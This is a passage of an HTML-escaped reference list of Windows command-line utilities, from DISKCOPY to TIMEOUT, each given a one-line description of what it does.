DISKCOPY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copy the contents of one floppy disk to another&lt;br /&gt;
DNSSTAT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DNS Statistics&lt;br /&gt;
DOSKEY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Edit command line, recall commands, and create macros&lt;br /&gt;
DSADD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Add user (computer, group..) to active directory&lt;br /&gt;
DSQUERY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List items in active directory&lt;br /&gt;
DSMOD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Modify user (computer, group..) in active directory&lt;br /&gt;
&lt;br /&gt;
ECHO&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display message on screen&lt;br /&gt;
ENDLOCAL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End localisation of environment changes in a batch file&lt;br /&gt;
ERASE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Delete one or more files&lt;br /&gt;
EXIT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Quit the CMD shell&lt;br /&gt;
EXPAND&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Uncompress files&lt;br /&gt;
EXTRACT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Uncompress CAB files&lt;br /&gt;
&lt;br /&gt;
FC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Compare two files&lt;br /&gt;
FDISK&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Disk Format and partition&lt;br /&gt;
FIND&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Search for a text string in a file&lt;br /&gt;
FINDSTR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Search for strings in files&lt;br /&gt;
FOR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conditionally perform a command several times&lt;br /&gt;
FORFILES&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Batch process multiple files&lt;br /&gt;
FORMAT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Format a disk&lt;br /&gt;
FREEDISK&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Check free disk space (in bytes)&lt;br /&gt;
FSUTIL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; File and Volume utilities&lt;br /&gt;
FTP File&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Transfer Protocol&lt;br /&gt;
FTYPE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display or modify file types used in file extension associations&lt;br /&gt;
&lt;br /&gt;
GLOBAL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display membership of global groups&lt;br /&gt;
GOTO&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Direct a batch program to jump to a labelled line&lt;br /&gt;
&lt;br /&gt;
HELP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Online Help&lt;br /&gt;
HFNETCHK&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Network Security Hotfix Checker&lt;br /&gt;
&lt;br /&gt;
IF&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conditionally perform a command&lt;br /&gt;
IFMEMBER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Is the current user in an NT Workgroup&lt;br /&gt;
IPCONFIG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Configure IP&lt;br /&gt;
&lt;br /&gt;
KILL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Remove a program from memory&lt;br /&gt;
&lt;br /&gt;
LABEL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Edit a disk label&lt;br /&gt;
LOCAL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display membership of local groups&lt;br /&gt;
LOGEVENT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Write text to the NT event viewer.&lt;br /&gt;
LOGOFF&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Log a user off&lt;br /&gt;
LOGTIME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Log the date and time in a file&lt;br /&gt;
&lt;br /&gt;
MAPISEND&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Send email from the command line&lt;br /&gt;
MEM&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display memory usage&lt;br /&gt;
MD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Create new folders&lt;br /&gt;
MODE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Configure a system device&lt;br /&gt;
MORE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display output, one screen at a time&lt;br /&gt;
MOUNTVOL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Manage a volume mount point&lt;br /&gt;
MOVE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Move files from one folder to another&lt;br /&gt;
MOVEUSER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Move a user from one domain to another&lt;br /&gt;
MSG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Send a message&lt;br /&gt;
MSIEXEC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft Windows Installer&lt;br /&gt;
MSINFO&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Windows NT diagnostics&lt;br /&gt;
MSTSC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Terminal Server Connection (Remote Desktop Protocol)&lt;br /&gt;
MUNGE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Find and Replace text within file(s)&lt;br /&gt;
MV&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copy in-use files&lt;br /&gt;
&lt;br /&gt;
NET&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Manage network resources&lt;br /&gt;
NETDOM&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Domain Manager&lt;br /&gt;
NETSH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Configure network protocols&lt;br /&gt;
NETSVC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command-line Service Controller&lt;br /&gt;
NBTSTAT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display networking statistics (NetBIOS over TCP/IP)&lt;br /&gt;
NETSTAT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display networking statistics (TCP/IP)&lt;br /&gt;
NOW&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display the current Date and Time&lt;br /&gt;
NSLOOKUP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Name server lookup&lt;br /&gt;
NTBACKUP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Backup folders to tape&lt;br /&gt;
NTRIGHTS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Edit user account rights&lt;br /&gt;
&lt;br /&gt;
PATH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display or set a search path for executable files&lt;br /&gt;
PATHPING&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Trace route plus network latency and packet loss&lt;br /&gt;
PAUSE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Suspend processing of a batch file and display a message&lt;br /&gt;
PERMS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Show permissions for a user&lt;br /&gt;
PERFMON&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Performance Monitor&lt;br /&gt;
PING&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Test a network connection&lt;br /&gt;
POPD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Restore the previous value of the current directory saved by PUSHD&lt;br /&gt;
PORTQRY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display the status of ports and services&lt;br /&gt;
PRINT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Print a text file&lt;br /&gt;
PRNCNFG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display, configure or rename a printer&lt;br /&gt;
PRNMNGR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Add, delete, list printers set the default printer&lt;br /&gt;
PROMPT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Change the command prompt&lt;br /&gt;
PsExec&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Execute process remotely&lt;br /&gt;
PsFile&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Show files opened remotely&lt;br /&gt;
PsGetSid&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display the SID of a computer or a user&lt;br /&gt;
PsInfo&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List information about a system&lt;br /&gt;
PsKill&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Kill processes by name or process ID&lt;br /&gt;
PsList&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List detailed information about processes&lt;br /&gt;
PsLoggedOn&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Who&#39;s logged on (locally or via resource sharing)&lt;br /&gt;
PsLogList&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Event log records&lt;br /&gt;
PsPasswd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Change account password&lt;br /&gt;
PsService&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; View and control services&lt;br /&gt;
PsShutdown&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Shutdown or reboot a computer&lt;br /&gt;
PsSuspend&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Suspend processes&lt;br /&gt;
PUSHD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Save and then change the current directory&lt;br /&gt;
&lt;br /&gt;
QGREP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Search file(s) for lines that match a given pattern.&lt;br /&gt;
&lt;br /&gt;
RASDIAL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Manage RAS connections&lt;br /&gt;
RASPHONE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Manage RAS connections&lt;br /&gt;
RECOVER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Recover a damaged file from a defective disk.&lt;br /&gt;
REG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Read, Set or Delete registry keys and values&lt;br /&gt;
REGEDIT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Import or export registry settings&lt;br /&gt;
REGSVR32&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Register or unregister a DLL&lt;br /&gt;
REGINI&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Change Registry Permissions&lt;br /&gt;
REM&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Record comments (remarks) in a batch file&lt;br /&gt;
REN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Rename a file or files.&lt;br /&gt;
REPLACE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Replace or update one file with another&lt;br /&gt;
RD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Delete folder(s)&lt;br /&gt;
RDISK&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Create a Recovery Disk&lt;br /&gt;
RMTSHARE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Share a folder or a printer&lt;br /&gt;
ROBOCOPY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Robust File and Folder Copy&lt;br /&gt;
ROUTE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Manipulate network routing tables&lt;br /&gt;
RUNAS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Execute a program under a different user account&lt;br /&gt;
RUNDLL32&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Run a DLL command (add/remove print connections)&lt;br /&gt;
&lt;br /&gt;
SC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Service Control&lt;br /&gt;
SCHTASKS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Create or Edit Scheduled Tasks&lt;br /&gt;
SCLIST&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display NT Services&lt;br /&gt;
ScriptIt&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Control GUI applications&lt;br /&gt;
SET&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display, set, or remove environment variables&lt;br /&gt;
SETLOCAL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Begin localisation of environment changes in a batch file&lt;br /&gt;
SETX&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Set environment variables permanently&lt;br /&gt;
SHARE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List or edit a file share or print share&lt;br /&gt;
SHIFT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Shift the position of replaceable parameters in a batch file&lt;br /&gt;
SHORTCUT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Create a windows shortcut (.LNK file)&lt;br /&gt;
SHOWGRPS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List the NT Workgroups a user has joined&lt;br /&gt;
SHOWMBRS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List the Users who are members of a Workgroup&lt;br /&gt;
SHUTDOWN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Shutdown the computer&lt;br /&gt;
SLEEP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Wait for x seconds&lt;br /&gt;
SOON&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Schedule a command to run in the near future&lt;br /&gt;
SORT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sort input&lt;br /&gt;
START&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Start a separate window to run a specified program or command&lt;br /&gt;
SU&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Switch User&lt;br /&gt;
SUBINACL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Edit file and folder Permissions, Ownership and Domain&lt;br /&gt;
SUBST&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Associate a path with a drive letter&lt;br /&gt;
SYSTEMINFO&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List system configuration&lt;br /&gt;
&lt;br /&gt;
TASKLIST&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List running applications and services&lt;br /&gt;
TIME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display or set the system time&lt;br /&gt;
TIMEOUT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Delay processing of a batch file&lt;br /&gt;
